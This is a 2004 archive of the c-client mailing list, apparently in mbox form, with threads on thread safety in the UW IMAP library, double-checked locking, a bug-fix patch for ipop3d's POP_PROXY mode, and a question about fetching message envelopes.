1 Sep 2004 14:26:48 -0700 Received: from jeamland.org (localhost [127.0.0.1]) by mx0.citrus-it.net with ESMTP id i81LQc62002172; Wed, 1 Sep 2004 21:26:38 GMT Received: from localhost (af@localhost) by jeamland.org with ESMTP id i81LQbM0002169; Wed, 1 Sep 2004 21:26:37 GMT Message-Id: Date: Wed, 1 Sep 2004 21:26:36 +0000 (GMT) Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: Andy Fiddaman To: Mark Crispin Cc: c-client@u.washington.edu Subject: Re: Thread safety.. In-Reply-To: References: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII X-Citrus-Virus-Scanned: Clean X-Uwash-Spam: Gauge=IIIIIII, Probability=7%, Report='__HAS_MSGID 0, __SANE_MSGID 0, __TO_MALFORMED_2 0, __IN_REP_TO 0, __REFERENCES 0, __MIME_VERSION 0, __CT_TEXT_PLAIN 0, __CT 0, EMAIL_ATTRIBUTION 0, __MIME_TEXT_ONLY 0, REFERENCES 0, IN_REP_TO 0' X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN On Wed, 1 Sep 2004, Mark Crispin wrote: ; There is *nothing* wrong with altering a global in threaded code as long as ; you accept that that alteration affects every thread. This is a very useful ; attribute (beloved of those of us who wrote multi-forked code with shareable ; writable pages on TOPS-20). It is something that must be thoroughly ; understood; but it is not something to fear. As I understand it, changing a global variable in threaded code without a lock can be a bad thing if another thread reads from the global while it is being changed (that may not be the case on a real-life system). However, as you say, changing driver parameters etc. would usually be done at the initialisation stage. ; > but there are a couple of places where race conditions could occur. For ; > example, there is code at the start of unix_header() which populates a ; > global STRINGLIST if it hasn't been done before. ; ; This is an excellent example. That global STRINGLIST is global for a reason. ; It should be a global constant, but it's complex enough to need code to build ; it. ; ; The only concern is whether another thread can run and join that code while ; the STRINGLIST is being built. For this, you need to understand how your ; thread library works. If thread switching only happens on I/O, you are safe ; since the only thing that code does is assignment and malloc(). I'm using Solaris so I can't rely on switching only happening on I/O - I'm also developing on a 4-way system so potentially four kthreads can be runnable and on a processor at once. Ideally, I'd want the code to be as portable as possible so I'm keen to make as few assumptions as I can. ; I'm not adverse to adding this sort of a mutex to this and the other places ; that initialize globals that are intended to be constants once set. That would be ideal! Thanks, Andy From pinedev@shivax2.cac.washington.edu Wed Sep 1 15:41:59 2004 -0700 Return-Path: Received: via tmail-2000(13) (invoked by user mailnull) for mailarch+c-client; Wed, 1 Sep 2004 15:41:59 -0700 (PDT) Return-Path: Received: from mx2.cac.washington.edu (mx2.cac.washington.edu [140.142.33.1]) by groupms.cac.washington.edu (8.13.1+UW04.08/8.13.1+UW04.08) with ESMTP id i81MfwEJ004427 for ; Wed, 1 Sep 2004 15:41:58 -0700 Received: from list3.u.washington.edu (list3.u.washington.edu [140.142.8.100]) by mx2.cac.washington.edu (8.13.1+UW04.08/8.13.1+UW04.08) with ESMTP id i81Mfv9a010707 (version=TLSv1/SSLv3 cipher=EDH-RSA-DES-CBC3-SHA bits=168 verify=NO) for ; Wed, 1 Sep 2004 15:41:58 -0700 Received: from host (lists.u.washington.edu [140.142.56.13]) by list3.u.washington.edu (8.13.1+UW04.08/8.13.1+UW04.08) with SMTP id i81Mf03o003688; Wed, 1 Sep 2004 15:41:00 -0700 Received: from mxe1.u.washington.edu (mxe1.u.washington.edu [140.142.32.136]) by lists.u.washington.edu (8.13.1+UW04.08/8.13.1+UW04.08) with ESMTP id i81MdV9D015608 for ; Wed, 1 Sep 2004 15:39:34 -0700 Received: from egate.xpasc.com ([65.85.17.142]) by mxe1.u.washington.edu (8.13.1+UW04.08/8.13.1+UW04.08) with ESMTP id i81MdTjl007925 for ; Wed, 1 Sep 2004 15:39:29 -0700 Received: from egate.xpasc.com (egate.xpasc.com [10.1.2.49]) by egate.xpasc.com (8.11.2/8.11.2) with ESMTP id i81MQrI00432; Wed, 1 Sep 2004 15:26:53 -0700 Message-Id: Date: Wed, 1 Sep 2004 15:26:52 -0700 (PDT) Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: David Morris To: Mark Crispin Cc: Andy Fiddaman , Subject: Re: Thread safety.. In-Reply-To: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII X-Uwash-Spam: Gauge=IIIIIII, Probability=7%, Report='__HAS_MSGID 0, __SANE_MSGID 0, __TO_MALFORMED_2 0, __IN_REP_TO 0, __MIME_VERSION 0, __CT_TEXT_PLAIN 0, __CT 0, EMAIL_ATTRIBUTION 0, QUOTED_EMAIL_TEXT 0, __MIME_TEXT_ONLY 0, IN_REP_TO 0' X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN On Wed, 1 Sep 2004, Mark Crispin wrote: > there, so it's alright to keep testing it. On the other hand, this may > not work if prefix increment is non-atomic; the C specification implies > that it is, but it makes no definite statement. There is no way for a C implementation to insure this is atomic unless the hardware has an instruction to perform the operation atomically. If you know your hardware has the facility, they you need to verify that your compiler won't optimize the value into a register, etc. When the hardware doesn't provide an atomic operation, the compiler would have to generate mutex or other locking code around the variable, very expensive considering that there is no way for a compiler to know if a global value is modifed by other operations. With modern desk top and larger computers, fetching or storing a 32 bit value should be atomic. A trick I use to guard one-time code is: if (!initialized) { getmutex() if (!initialized) { // real test guarded by mutex do heavy lifting initialized=TRUE } freemutex() } This approach is a light weight test for the common case that initialization is complete but is 100% accurate since the test is repeated under protection of the mutex. Another trick, where an atomic data object is built, if building multiple copies of the object won't waste too much memory (or for languages such as Java with garbage collection): if (!object) { tempObject=makeTheObject() object = tempObject } In this case, the object may be initialized multiple times until one of the threads actually stores the result. Dave Morris From pinedev@shivax2.cac.washington.edu Thu Sep 2 15:55:31 2004 -0700 Return-Path: Received: via tmail-2000(13) (invoked by user mailnull) for mailarch+c-client; Thu, 2 Sep 2004 15:55:31 -0700 (PDT) Return-Path: Received: from mx2.cac.washington.edu (mx2.cac.washington.edu [140.142.33.1]) by groupms.cac.washington.edu (8.13.1+UW04.08/8.13.1+UW04.08) with ESMTP id i82MtVbE017787 for ; Thu, 2 Sep 2004 15:55:31 -0700 Received: from list4.u.washington.edu (list4.u.washington.edu [140.142.14.167]) by mx2.cac.washington.edu (8.13.1+UW04.08/8.13.1+UW04.08) with ESMTP id i82MtUXQ013786 (version=TLSv1/SSLv3 cipher=EDH-RSA-DES-CBC3-SHA bits=168 verify=NO) for ; Thu, 2 Sep 2004 15:55:31 -0700 Received: from host (lists.u.washington.edu [140.142.56.13]) by list4.u.washington.edu (8.13.1+UW04.08/8.13.1+UW04.08) with SMTP id i82MrwGV013306; Thu, 2 Sep 2004 15:53:59 -0700 Received: from mxe7.u.washington.edu (mxe7.u.washington.edu [140.142.32.169]) by lists.u.washington.edu (8.13.1+UW04.08/8.13.1+UW04.08) with ESMTP id i82MqIwi056128 for ; Thu, 2 Sep 2004 15:52:19 -0700 Received: from smtp.tt-solutions.com (sunset.tt-solutions.com [81.56.246.156]) by mxe7.u.washington.edu (8.13.1+UW04.08/8.13.1+UW04.08) with ESMTP id i82MqDc2026842 (version=TLSv1/SSLv3 cipher=EDH-RSA-DES-CBC3-SHA bits=168 verify=NO) for ; Thu, 2 Sep 2004 15:52:17 -0700 Received: from nightfall ([192.168.17.76]) by smtp.tt-solutions.com with esmtp (Exim 3.35 #1 (Debian)) id 1C30R9-00009u-00 for ; Fri, 03 Sep 2004 00:52:11 +0200 Message-Id: Date: Fri, 3 Sep 2004 00:52:14 +0200 (Romance Daylight Time) Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: Vadim Zeitlin To: c-client@u.washington.edu Subject: Re[2]: Thread safety.. In-Reply-To: References: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; CHARSET=US-ASCII Content-Disposition: INLINE X-Uwash-Spam: Gauge=IIIIIII, Probability=7%, Report='__HAS_MSGID 0, __SANE_MSGID 0, __TO_MALFORMED_2 0, __IN_REP_TO 0, __REFERENCES 0, __MIME_VERSION 0, __CT_TEXT_PLAIN 0, __CT 0, __CD 0, EMAIL_ATTRIBUTION 0, SIGNATURE_SHORT_DENSE 0, __MIME_TEXT_ONLY 0, REFERENCES 0, IN_REP_TO 0' X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN On Wed, 1 Sep 2004 15:26:52 -0700 (PDT) David Morris wrote: DM> There is no way for a C implementation to insure this is atomic unless the DM> hardware has an instruction to perform the operation atomically. This is true, but Win32 and pthreads both allow to do it so for most of the modern platforms supported by cclient it is possible to do it. DM> With modern desk top and larger computers, fetching or storing a 32 bit DM> value should be atomic. A trick I use to guard one-time code is: DM> DM> if (!initialized) { DM> getmutex() DM> if (!initialized) { // real test guarded by mutex DM> do heavy lifting DM> initialized=TRUE DM> } DM> freemutex() DM> } DM> DM> This approach is a light weight test for the common case that DM> initialization is complete but is 100% accurate since the test is repeated DM> under protection of the mutex. Although this mostly does work in practice please see an article in a recent (August I believe) Dr Dobbs journal issue which explains why this doesn't have to always work, i.e. is not portable. Basically, an optimizing compiler is perfectly free to reorder the "do heavy lifting" and "initialization=TRUE" lines which could result in using uninitialized object. To ensure that it does work as expected, a memory barrier needs to be inserted between these 2 lines -- and, of course, there is no portable way to do this in C neither. Regards, VZ -- ------------------------------------------------------------------ For information about this mailing list, and its archives, see: http://www.washington.edu/imap/c-client-list.html ------------------------------------------------------------------ From pinedev@shivax2.cac.washington.edu Fri Sep 3 19:56:52 2004 -0700 Return-Path: Received: via tmail-2000(13) (invoked by user mailnull) for mailarch+c-client; Fri, 3 Sep 2004 19:56:52 -0700 (PDT) Return-Path: Received: from mx1.cac.washington.edu (mx1.cac.washington.edu [140.142.32.140]) by groupms.cac.washington.edu (8.13.1+UW04.08/8.13.1+UW04.08) with ESMTP id i842uqna005676 for ; Fri, 3 Sep 2004 19:56:52 -0700 Received: from list1.u.washington.edu (list1.u.washington.edu [140.142.8.99]) by mx1.cac.washington.edu (8.13.1+UW04.08/8.13.1+UW04.08) with ESMTP id i842uoaC027467 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO) for ; Fri, 3 Sep 2004 19:56:50 -0700 Received: from host (lists.u.washington.edu [140.142.56.13]) by list1.u.washington.edu (8.13.1+UW04.08/8.13.1+UW04.08) with SMTP id i842tQSq016532; Fri, 3 Sep 2004 19:55:27 -0700 Received: from mxe3.u.washington.edu (mxe3.u.washington.edu [140.142.32.137]) by lists.u.washington.edu (8.13.1+UW04.08/8.13.1+UW04.08) with ESMTP id i842rpms072118 for ; Fri, 3 Sep 2004 19:53:51 -0700 Received: from mail2.speakeasy.net (mail2.speakeasy.net [216.254.0.202]) by mxe3.u.washington.edu (8.13.1+UW04.08/8.13.1+UW04.08) with ESMTP id i842rpd9018860 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO) for ; Fri, 3 Sep 2004 19:53:51 -0700 Received: (qmail 25913 invoked from network); 4 Sep 2004 02:53:51 -0000 Received: from dsl231-050-075.sea1.dsl.speakeasy.net (HELO eskimo.com) (awaller@[216.231.50.75]) (envelope-sender ) by mail2.speakeasy.net (qmail-ldap-1.03) with SMTP for ; 4 Sep 2004 02:53:51 -0000 Message-Id: <41392E30.90004@eskimo.com> Date: Fri, 03 Sep 2004 19:53:36 -0700 Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: evol To: c-client@u.washington.edu Subject: imapd mbox question MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii; format=flowed Content-Transfer-Encoding: 7bit X-Accept-Language: en-us, en X-Uwash-Spam: Gauge=IIIIIII, Probability=7%, Report='__CT 0, __CTE 0, __CT_TEXT_PLAIN 0, __HAS_MSGID 0, __MIME_VERSION 0, __SANE_MSGID 0' X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN Hi, I have imapd and implemented a web interface for it. Is there any way to leave the messages when using imap on /var/spool/mail/user or what have you ? I have also put the libc cunftion getusershell() in my imapd source tree Imapd version d, found a few bugs. If anyone would like a patch where would I submit this ? Sincerely, Aaron Waller -- ------------------------------------------------------------------ For information about this mailing list, and its archives, see: http://www.washington.edu/imap/c-client-list.html ------------------------------------------------------------------ From pinedev@shivax2.cac.washington.edu Mon Sep 6 05:09:35 2004 -0700 Return-Path: Received: via tmail-2000(13) (invoked by user mailnull) for mailarch+c-client; Mon, 6 Sep 2004 05:09:35 -0700 (PDT) Return-Path: Received: from mx1.cac.washington.edu (mx1.cac.washington.edu [140.142.32.140]) by groupms.cac.washington.edu (8.13.1+UW04.08/8.13.1+UW04.08) with ESMTP id i86C9ZKR028566 for ; Mon, 6 Sep 2004 05:09:35 -0700 Received: from list1.u.washington.edu (list1.u.washington.edu [140.142.8.99]) by mx1.cac.washington.edu (8.13.1+UW04.08/8.13.1+UW04.08) with ESMTP id i86C9Wb5024469 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO) for ; Mon, 6 Sep 2004 05:09:33 -0700 Received: from host (lists.u.washington.edu [140.142.56.13]) by list1.u.washington.edu (8.13.1+UW04.08/8.13.1+UW04.08) with SMTP id i86C7k5s015344; Mon, 6 Sep 2004 05:07:47 -0700 Received: from mxe1.u.washington.edu (mxe1.u.washington.edu [140.142.32.136]) by lists.u.washington.edu (8.13.1+UW04.08/8.13.1+UW04.08) with ESMTP id i86C4VKx075352 for ; Mon, 6 Sep 2004 05:04:32 -0700 Received: from mx-s0.dreamwiz.com (mx-s0.dreamwiz.com [211.39.128.135]) by mxe1.u.washington.edu (8.13.1+UW04.08/8.13.1+UW04.08) with ESMTP id i86C4RsH008491 for ; Mon, 6 Sep 2004 05:04:29 -0700 Received: from pmail0.dreamwiz.com (pmail0.dreamwiz.com [10.0.0.65]) by mx-s0.dreamwiz.com (8.13.1/8.13.1) with ESMTP id i86C4P0u059351 for ; Mon, 6 Sep 2004 21:04:26 +0900 (KST) Received: from [127.0.0.1] (localhost.dreamwiz.com [127.0.0.1]) by pmail0.dreamwiz.com (8.13.1/8.13.1) with ESMTP id i86C4Por005343 for ; Mon, 6 Sep 2004 21:04:25 +0900 (KST) Received: from [211.45.66.34] by pmail0.dreamwiz.com with HTTP; Mon, 6 Sep 2004 21:04:25 +0900 (KST) Message-Id: <20040906120425.000014DD0227025A@pmail0.dreamwiz.com> Date: Mon, 6 Sep 2004 21:04:25 +0900 (KST) Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: =?EUC-KR?B?w9a8usjG?= To: c-client@u.washington.edu Subject: ipop3d POP_PROXY mode poblem MIME-Version: 1.0 Content-Type: TEXT/PLAIN; CHARSET=US-ASCII X-DreamWiz-SpamCenter: C=0,M=1,R=1,BR=0,TR=0,DNSBL=0,SPAM=0,FL=0,VC=PASS(2004-09-06) X-DreamWiz-Peer-IP: [10.0.0.65] X-Priority: 3 X-Originating-IP: [211.45.66.34] X-Originating-Email: shoon@dreamwiz.com X-Uwash-Spam: Gauge=XIIIIIII, Probability=17%, Report='CHARSET_FARAWAY_HEADERS 1.154, PRIORITY_NO_NAME 0.716, __CT 0, __CT_TEXT_PLAIN 0, __HAS_MSGID 0, __HAS_X_PRIORITY 0, __MIME_VERSION 0, __SANE_MSGID 0' X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN After ipop3d in POP_PROXY mode is run, there is a problem of ipop3d not responding with a ERR message towards cient's RETR command but with a repeated OK response when a concurrent connection occurs from two clients while in communication with imapd which uses Unix format mailbox. Thanks. ========== temporary patch ========== *** ipop3d.c.orig Tue Jun 22 09:58:07 2004 --- ipop3d.c Mon Sep 6 17:59:09 2004 *************** *** 879,884 **** --- 879,898 ---- case NIL: /* information message */ case PARSE: /* parse glitch */ break; /* too many of these to log */ + #ifndef DISABLE_POP_PROXY + case BYE: /* BYE */ + if (host != NIL) { + alarm (0); /* disable all interrupts */ + server_init (NIL,NIL,NIL,SIG_IGN,SIG_IGN,SIG_IGN,SIG_IGN); + syslog (LOG_INFO,"Killed (lost mailbox lock) user=%.80s host=%.80s", + user ? user : "???",tcp_clienthost ()); + /* do logout hook if needed */ + if (lgoh = (logouthook_t) mail_parameters (NIL,GET_LOGOUTHOOK,NIL)) + (*lgoh) (mail_parameters (NIL,GET_LOGOUTDATA,NIL)); + _exit (1); /* die die die */ + } + break; + #endif case WARN: /* warning */ syslog (LOG_DEBUG,"%s",string); break; Choi, Sung-hoon DreamWiz Inc. - Development Team/Manager Major : Mail/Web/Network/System/Security Phone : +82-2-3434-3541 MSN : shoon@dreamwiz.com WWW : http://my.dreamwiz.com/shoon/ E-mail: shoon@dreamwiz.com -- ------------------------------------------------------------------ For information about this mailing list, and its archives, see: http://www.washington.edu/imap/c-client-list.html ------------------------------------------------------------------ From pinedev@shivax2.cac.washington.edu Tue Sep 7 16:41:26 2004 -0700 Return-Path: Received: via tmail-2000(13) (invoked by user mailnull) for mailarch+c-client; Tue, 7 Sep 2004 16:41:26 -0700 (PDT) Return-Path: Received: from mx2.cac.washington.edu (mx2.cac.washington.edu [140.142.33.1]) by groupms.cac.washington.edu (8.13.1+UW04.08/8.13.1+UW04.08) with ESMTP id i87NfQ0q031150 for ; Tue, 7 Sep 2004 16:41:26 -0700 Received: from list2.u.washington.edu (list2.u.washington.edu [140.142.14.165]) by mx2.cac.washington.edu (8.13.1+UW04.08/8.13.1+UW04.08) with ESMTP id i87NfNZA017789 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO) for ; Tue, 7 Sep 2004 16:41:24 -0700 Received: from host (lists.u.washington.edu [140.142.56.13]) by list2.u.washington.edu (8.13.1+UW04.08/8.13.1+UW04.08) with SMTP id i87NePTh016244; Tue, 7 Sep 2004 16:40:25 -0700 Received: from mxi1.u.washington.edu (mxi1.u.washington.edu [140.142.32.143]) by lists.u.washington.edu (8.13.1+UW04.08/8.13.1+UW04.08) with ESMTP id i87Ncbwv109652 for ; Tue, 7 Sep 2004 16:38:37 -0700 Received: from mxout3.cac.washington.edu (mxout3.cac.washington.edu [140.142.32.166]) by mxi1.u.washington.edu (8.13.1+UW04.08/8.13.1+UW04.08) with ESMTP id i87NcbM0004439 (version=TLSv1/SSLv3 cipher=EDH-RSA-DES-CBC3-SHA bits=168 verify=NO) for ; Tue, 7 Sep 2004 16:38:37 -0700 Received: from smtp.washington.edu (smtp.washington.edu [140.142.32.139]) by mxout3.cac.washington.edu (8.13.1+UW04.08/8.13.1+UW04.08) with ESMTP id i87Ncaph011189; Tue, 7 Sep 2004 16:38:36 -0700 Received: from Tomobiki-Cho.CAC.Washington.EDU (tomobiki-cho.cac.washington.edu [128.95.135.58]) (authenticated bits=0) by smtp.washington.edu (8.13.1+UW04.08/8.13.1+UW04.08) with ESMTP id i87NcavK011839 (version=TLSv1/SSLv3 cipher=RC4-MD5 bits=128 verify=NOT); Tue, 7 Sep 2004 16:38:36 -0700 Message-Id: Date: Tue, 7 Sep 2004 16:38:37 -0700 (Pacific Daylight Time) Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: Mark Crispin To: shoon@dreamwiz.com Cc: c-client@u.washington.edu Subject: Re: ipop3d POP_PROXY mode poblem In-Reply-To: <20040906120425.000014DD0227025A@pmail0.dreamwiz.com> References: <20040906120425.000014DD0227025A@pmail0.dreamwiz.com> MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII; format=flowed X-Sender: mrc@ndcms.cac.washington.edu X-Uwash-Spam: Gauge=IIIIIII, Probability=7%, Report='__CT 0, __CT_TEXT_PLAIN 0, __HAS_MSGID 0, __MIME_VERSION 0, __SANE_MSGID 0' X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN Thank you very much for your suggestion. A similar change to the one that you propose will be in the next version of c-client. -- Mark -- http://staff.washington.edu/mrc Science does not emerge from voting, party politics, or public debate. Si vis pacem, para bellum. From pinedev@shivax2.cac.washington.edu Wed Sep 8 15:12:08 2004 -0700 Return-Path: Received: via tmail-2000(13) (invoked by user mailnull) for mailarch+c-client; Wed, 8 Sep 2004 15:12:08 -0700 (PDT) Return-Path: Received: from mx1.cac.washington.edu (mx1.cac.washington.edu [140.142.32.140]) by groupms.cac.washington.edu (8.13.1+UW04.08/8.13.1+UW04.08) with ESMTP id i88MC8fS012110 for ; Wed, 8 Sep 2004 15:12:08 -0700 Received: from list4.u.washington.edu (list4.u.washington.edu [140.142.14.167]) by mx1.cac.washington.edu (8.13.1+UW04.08/8.13.1+UW04.08) with ESMTP id i88MC5iW015550 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO) for ; Wed, 8 Sep 2004 15:12:05 -0700 Received: from host (lists.u.washington.edu [140.142.56.13]) by list4.u.washington.edu (8.13.1+UW04.08/8.13.1+UW04.08) with SMTP id i88M8RI1012078; Wed, 8 Sep 2004 15:08:27 -0700 Received: from mxe4.u.washington.edu (mxe4.u.washington.edu [140.142.33.15]) by lists.u.washington.edu (8.13.1+UW04.08/8.13.1+UW04.08) with ESMTP id i88M6v58069388 for ; Wed, 8 Sep 2004 15:06:57 -0700 Received: from mail.bynari.net (gw1.bynari.net [216.234.228.98]) by mxe4.u.washington.edu (8.13.1+UW04.08/8.13.1+UW04.09) with ESMTP id i88M6soO029129 for ; Wed, 8 Sep 2004 15:06:55 -0700 Received: from localhost (localhost [127.0.0.1]) by mail.bynari.net (Postfix) with ESMTP id 0929C3E80F2 for ; Wed, 8 Sep 2004 17:06:22 -0500 (CDT) Received: from mail.bynari.net ([127.0.0.1]) by localhost (mail.bynari.net [127.0.0.1]) (amavisd-new, port 10024) with ESMTP id 24488-03 for ; Wed, 8 Sep 2004 17:06:21 -0500 (CDT) Received: by mail.bynari.net (Postfix, from userid 404) id 4C96E3E80F6; Wed, 8 Sep 2004 17:06:21 -0500 (CDT) Received: from [192.168.3.111] (redhook.bynari.net [192.168.3.111]) by mail.bynari.net (Postfix) with ESMTP id 33F273E80F2 for ; Wed, 8 Sep 2004 17:06:21 -0500 (CDT) Message-Id: <413F827C.2040702@bynari.net> Date: Wed, 08 Sep 2004 17:06:52 -0500 Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: Shawn Walker To: c-client@u.washington.edu Cc: c-client@u.washington.edu Subject: mail_fetch_fast() and ENVELOPE In-Reply-To: References: MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii; format=flowed Content-Transfer-Encoding: 7bit X-Accept-Language: en-us, en X-Virus-Scanned: by amavisd-new at bynari.net X-Uwash-Spam: Gauge=IIIIIIIII, Probability=9%, Report='UPPERCASE_25_50 0.450, __CT 0, __CTE 0, __CT_TEXT_PLAIN 0, __HAS_MSGID 0, __MIME_VERSION 0, __SANE_MSGID 0, __UPPERCASE_25_50 0' X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN How do I get mail_fetch_fast() to get the ENVELOPE along with "UID INTERNALDATE RFC822.SIZE FLAGS" for IMAP, so this is what I want c-client to send to the server "(UID INTERNALDATE RFC822.SIZE FLAGS ENVELOPE)". Thanks, Shawn From pinedev@shivax2.cac.washington.edu Wed Sep 8 15:15:11 2004 -0700 Return-Path: Received: via tmail-2000(13) (invoked by user mailnull) for mailarch+c-client; Wed, 8 Sep 2004 15:15:11 -0700 (PDT) Return-Path: Received: from mx2.cac.washington.edu (mx2.cac.washington.edu [140.142.33.1]) by groupms.cac.washington.edu (8.13.1+UW04.08/8.13.1+UW04.08) with ESMTP id i88MFBkw012217 for ; Wed, 8 Sep 2004 15:15:11 -0700 Received: from list3.u.washington.edu (list3.u.washington.edu [140.142.8.100]) by mx2.cac.washington.edu (8.13.1+UW04.08/8.13.1+UW04.08) with ESMTP id i88MF8XN028516 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO) for ; Wed, 8 Sep 2004 15:15:09 -0700 Received: from host (lists.u.washington.edu [140.142.56.13]) by list3.u.washington.edu (8.13.1+UW04.08/8.13.1+UW04.08) with SMTP id i88MDjjw013920; Wed, 8 Sep 2004 15:13:45 -0700 Received: from mxi1.u.washington.edu (mxi1.u.washington.edu [140.142.32.143]) by lists.u.washington.edu (8.13.1+UW04.08/8.13.1+UW04.08) with ESMTP id i88MCwt4117272 for ; Wed, 8 Sep 2004 15:12:58 -0700 Received: from mxout6.cac.washington.edu (mxout6.cac.washington.edu [140.142.33.20]) by mxi1.u.washington.edu (8.13.1+UW04.08/8.13.1+UW04.09) with ESMTP id i88MCw1o026181 (version=TLSv1/SSLv3 cipher=EDH-RSA-DES-CBC3-SHA bits=168 verify=NO) for ; Wed, 8 Sep 2004 15:12:58 -0700 Received: from smtp.washington.edu (smtp.washington.edu [140.142.32.139]) by mxout6.cac.washington.edu (8.13.1+UW04.08/8.13.1+UW04.08) with ESMTP id i88MCtpV015860; Wed, 8 Sep 2004 15:12:55 -0700 Received: from Tomobiki-Cho.CAC.Washington.EDU (tomobiki-cho.cac.washington.edu [128.95.135.58]) (authenticated bits=0) by smtp.washington.edu (8.13.1+UW04.08/8.13.1+UW04.08) with ESMTP id i88MCsqQ014020 (version=TLSv1/SSLv3 cipher=RC4-MD5 bits=128 verify=NOT); Wed, 8 Sep 2004 15:12:55 -0700 Message-Id: Date: Wed, 8 Sep 2004 15:12:56 -0700 (Pacific Daylight Time) Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: Mark Crispin To: Shawn Walker Cc: c-client@u.washington.edu Subject: Re: mail_fetch_fast() and ENVELOPE In-Reply-To: <413F827C.2040702@bynari.net> References: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII; format=flowed X-Sender: mrc@ndcms.cac.washington.edu X-Uwash-Spam: Gauge=IIIIIIIII, Probability=9%, Report='UPPERCASE_25_50 0.450, __CT 0, __CT_TEXT_PLAIN 0, __HAS_MSGID 0, __MIME_VERSION 0, __SANE_MSGID 0, __UPPERCASE_25_50 0' X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN On Wed, 8 Sep 2004, Shawn Walker wrote: > How do I get mail_fetch_fast() to get the ENVELOPE along with "UID > INTERNALDATE RFC822.SIZE FLAGS" for IMAP, so this is what I want c-client to > send to the server "(UID INTERNALDATE RFC822.SIZE FLAGS ENVELOPE)". You don't. You use mail_fetch_structure() instead. -- Mark -- http://staff.washington.edu/mrc Science does not emerge from voting, party politics, or public debate. Si vis pacem, para bellum. From pinedev@shivax2.cac.washington.edu Wed Sep 8 15:19:15 2004 -0700 Return-Path: Received: via tmail-2000(13) (invoked by user mailnull) for mailarch+c-client; Wed, 8 Sep 2004 15:19:15 -0700 (PDT) Return-Path: Received: from mx2.cac.washington.edu (mx2.cac.washington.edu [140.142.33.1]) by groupms.cac.washington.edu (8.13.1+UW04.08/8.13.1+UW04.08) with ESMTP id i88MJFJa012346 for ; Wed, 8 Sep 2004 15:19:15 -0700 Received: from list4.u.washington.edu (list4.u.washington.edu [140.142.14.167]) by mx2.cac.washington.edu (8.13.1+UW04.08/8.13.1+UW04.08) with ESMTP id i88MJEdQ028688 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO) for ; Wed, 8 Sep 2004 15:19:14 -0700 Received: from host (lists.u.washington.edu [140.142.56.13]) by list4.u.washington.edu (8.13.1+UW04.08/8.13.1+UW04.08) with SMTP id i88MHg20012916; Wed, 8 Sep 2004 15:17:42 -0700 Received: from mxe2.u.washington.edu (mxe2.u.washington.edu [140.142.33.14]) by lists.u.washington.edu (8.13.1+UW04.08/8.13.1+UW04.08) with ESMTP id i88MH550109776 for ; Wed, 8 Sep 2004 15:17:05 -0700 Received: from mail.bynari.net (gw1.bynari.net [216.234.228.98]) by mxe2.u.washington.edu (8.13.1+UW04.08/8.13.1+UW04.09) with ESMTP id i88MH4uw020118 for ; Wed, 8 Sep 2004 15:17:04 -0700 Received: from localhost (localhost [127.0.0.1]) by mail.bynari.net (Postfix) with ESMTP id 07CB73E80F0; Wed, 8 Sep 2004 17:16:32 -0500 (CDT) Received: from mail.bynari.net ([127.0.0.1]) by localhost (mail.bynari.net [127.0.0.1]) (amavisd-new, port 10024) with ESMTP id 26843-02; Wed, 8 Sep 2004 17:16:31 -0500 (CDT) Received: by mail.bynari.net (Postfix, from userid 404) id 343423E80F2; Wed, 8 Sep 2004 17:16:31 -0500 (CDT) Received: from [192.168.3.111] (redhook.bynari.net [192.168.3.111]) by mail.bynari.net (Postfix) with ESMTP id 1FD933E80F0; Wed, 8 Sep 2004 17:16:31 -0500 (CDT) Message-Id: <413F84DE.8010109@bynari.net> Date: Wed, 08 Sep 2004 17:17:02 -0500 Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: Shawn Walker To: Mark Crispin Cc: c-client@u.washington.edu Subject: Re: mail_fetch_fast() and ENVELOPE In-Reply-To: References: <413F827C.2040702@bynari.net> MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii; format=flowed Content-Transfer-Encoding: 7bit X-Accept-Language: en-us, en X-Virus-Scanned: by amavisd-new at bynari.net X-Uwash-Spam: Gauge=IIIIIII, 